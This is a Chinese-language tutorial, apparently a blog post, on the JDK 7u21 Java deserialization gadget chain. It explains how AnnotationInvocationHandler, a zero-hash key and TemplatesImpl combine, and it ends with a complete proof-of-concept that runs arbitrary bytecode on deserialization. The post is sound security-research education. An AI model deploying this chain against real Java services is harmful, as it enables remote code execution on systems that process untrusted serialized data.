前言
之前学习了很多CC利用链,但是只有目标环境存在CommonCollections库的时候才能使用,如果没有这个库呢?这时候我们就会想到,有没有零依赖的利用链呢?答案是肯定的,这条链就是JDK7u21,顾名思义,它只适用于Java 7u21及以前的版本。
旧类重谈
不知道大家还记不记得我们之前的文章中分析的AnnotationInvocationHandler类,之前在分析CC1链的时候就介绍到过这个类,当时只是使用了该类的setValue来在readObject触发代码执行,今天我们来看一下这个类的其他用法。
首先看一下今天的主角,equalsImpl方法:
该方法中调用了getMemberMethods,然后在getMemberMethods方法中,调用了AnnotationInvocationHandler.this.type.getDeclaredMethods()来获得一个类型的所有方法,然后循环调用。
这样,就给了我们执行任意类的任意代码的机会,比如执行TemplatesImpl类的newTransformer方法。
寻找调用链
然而equalsImpl是一个私有方法,该怎样调用equalsImpl方法呢?
查看其他代码,发现在invoke方法中调用了equalsImpl方法。之前我们讲过AnnotationInvocationHandler实现了InvocationHandler接口,而实现了这个接口的类可以为一个接口创建一个动态代理,这样通过这个动态代理调用接口的任何方法都会首先调用invoke方法。
观察invoke代码
可以看到,只要调用的方法名是equals并且只有一个参数,就会调用equalsImpl方法。
知道了怎么调用,现在的问题是什么类可以满足调用equals方法的需求呢?
从名字上就可以看出来,equals方法是一个判断是否相等的方法,而什么地方会调用这个方法呢?
思来想去,感觉set集合一定会调用该方法,因为集合中储存的对象不允许重复,所以在添加对象的时候一定会判断对象是否相等。
我们查看HashSet的readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
可见,这里使用了一个HashMap,将对象保存在HashMap的key处来做去重。
HashMap
HashMap,就是数据结构里的哈希表,相信上过数据结构课程的同学应该还记得,哈希表是由数组+链 表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。
所以,为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被连接到同一条 链表上,才会进行比较。
跟进下HashMap的put方法:
可以看到,首先计算一下Key的hash值,然后用这个hash值得出一个i值,这个i就是数组的索引,不同的元素得到相同的i就会被挂入到一个链表中,而这时候就会先进行比较是否相等,不相等才会挂入链表。
仔细观察计算i的两行代码,可以看到唯一的变量就是key的hash值,而另外一个可能会影响i的值就是table.length,也就是数组的长度。但是经过测试这个数组的长度最小为16,所以在这里可以忽略。这样可以影响i的值就只有key的hash值了,我们需要控制不同的key得到一样的hash值。
控制哈希值
按照我们的想法,可以通过AnnotationInvocationHandler类来调用TemplatesImpl的newTransformer方法来加载字节码执行任意代码,所以我们需要控制这两个类的哈希值相等。
首先来看一下TemplatesImpl:
TemplatesImpl的hashCode是一个native方法,我们无法控制,所以只能将希望寄于AnnotationInvocationHandler类了。
前面说过,通过AnnotationInvocationHandler创建动态代理后,对它的任何调用都会首先调用invoke方法,所以hashCode也不例外:
可以看到最终调用了hashCodeImpl方法:
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
这个for循环有亿点点长~ 但是还是要仔细研究一下这个方法,这是我们控制哈希的关键。
首先从memberValues中读取出每个键值对,通过下面这段代码得到哈希:
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
简单来看就是把每个键值对的key的hash值*127然后异或value的哈希值。
我们想要控制哈希必然是越简单越好,所以这里键值对只有一对。
然后再简化一下,如果key的哈希值为零,那么任何值和零异或的结果都是本身,那么这答案不就来了么,我们先控制key为零,然后把TemplatesImpl对象作为value,这不久大功告成了嘛~。~
首先,我们需要先找一个为零的key,我们用以下代码爆破一哈:
public static void getZero() throws Exception
{
for(Long count=0x0L;count<0xffffffffL;count++)
{
if(Long.toHexString(count).hashCode()==0)
{
System.out.println(count);
}
}
}
最终爆破出来的结果是f5a5a608。
接下来我们就可以来构造poc了~
poc构造
最终的poc如下:
public static void poc() throws Exception{
//准备要加载的类的字节码
byte[] fileData = readFileToByte("E:\\JavaSource\\UnSeriDemo\\Hello.class");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
//构造AnnotationInvocationHandler对象
Map map = new HashMap<String,Object>();
Constructor cons = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object handler = cons.newInstance(Retention.class,map);
Object pro = Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},(InvocationHandler) handler);
//构造set对象
Set set = new LinkedHashSet();
set.add(templatesImpl);
set.add(pro);
//子弹上膛~
map.put("f5a5a608",templatesImpl);
setFieldValue(handler,"type",Templates.class);
//序列化
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(set);
//反序列化
ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
避坑指南
- 在写poc的时候遇到几个坑,在这里简单说一下。
首先就是我们要加载的类的字节码,这里需要重新编译一下,因为之前分析的CC链用的都是jdk8,所以编译一次的字节码用了好几篇文章,到这里刚开始就忘了这回事了,在这里浪费了点时间。 - 然后就是在通过反射修改AnnotationInvocationHandler.type的值的时候,这里要写Templates.class,而不是TemplatesImpl.class。因为AnnotationInvocationHandler.getMemberMethods在获取方法数组的时候,是根据type.class获取的,如果填TemplatesImpl会造成获取了很多没用的方法,而循环调用的时候就会因为参数个数不对而引发一场导致代码无法继续运行。如果填Templates的话因为Templates是一个接口,里面只有两个方法,那就是newTransformer和getOutputProperties,不管是哪个都没有问题。
- 最后就是在选择Set的时候,一开始以为随便哪个类都行,所以就用的HashSet,但是后来发现无法控制反序列化的时候取出对象的顺序,这个调用链必须要让TemplatesImpl第一个被取出,也第一个被添加到哈希表,这样在添加AnnotationInvocationHandler对象的时候才会调用AnnotationInvocationHandler.equals,否则就会调用TemplatesImpl.equals了,这样调用链必然失败。但是选择LinkedHashSet就不会,因为LinkedHashSet是有序的,可以通过添加元素的顺序来控制反序列化的顺序。
调用链总结
HashSet.readObject
HashMap.put
AnnotationInvocationHandler.equals
AnnotationInvocationHandler.invoke
AnnotationInvocationHandler.equalsImpl
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
TemplatesImpl#TransletClassLoader.defineClass
参考
代码审计星球
ysoserial源码
总结
调用链来看不是很复杂,但是难在控制哈希上,感叹这是咋被人找出来的,大佬们太强了~